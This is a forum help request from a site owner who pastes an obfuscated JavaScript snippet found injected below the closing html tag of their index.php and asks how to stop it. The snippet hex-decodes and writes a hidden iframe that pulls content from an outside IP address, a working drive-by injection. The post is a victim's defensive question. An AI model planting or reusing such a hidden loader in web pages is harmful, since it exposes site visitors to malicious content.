i don't know who put there and it's strange
someone put a strange script in my index.php
first how the hell they able to do that
i got this malware twice..
below my </html>
i got this kind of code which i thing randomly done
Code: Select all
<script>function v4971588c7b742(v4971588c7bf11){ function v4971588c7c6e1 () {return 16;}
return(parseInt(v4971588c7bf11,v4971588c7c6e1()));}function v4971588c7d681(v4971588c7de50){ function
v4971588c7f5c0 () {var v4971588c7fd91=2; return v4971588c7fd91;} var v4971588c7e620='';for(v4971588c7edf0=0;
v4971588c7edf0<v4971588c7de50.length; v4971588c7edf0+=v4971588c7f5c0()){
v4971588c7e620+=(String.fromCharCode(v4971588c7b742(v4971588c7de50.substr(v4971588c7edf0,
v4971588c7f5c0()))));}return v4971588c7e620;}
document.write(v4971588c7d681('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E74
2E777269746528273C696672616D65206E616D653D313831207372633D5C27687474703A2F2F35382E36352E3233322E32352F6
36F756E7465722F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A31333330292B27325C27207769647468
3D35206865696768743D323636207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F
5343524950543E'));</script>can someone tell me how to prevent this from happening
the site only have a link ( still beta )
and connect to a forum smf and gallery2
and it used startlogic as webhosting
they shouldn't be able to hack the file ( i mean write the file in the webhosting folder right )
oh and for index.php which chmod should i use ?
can someone tell me how to prevent this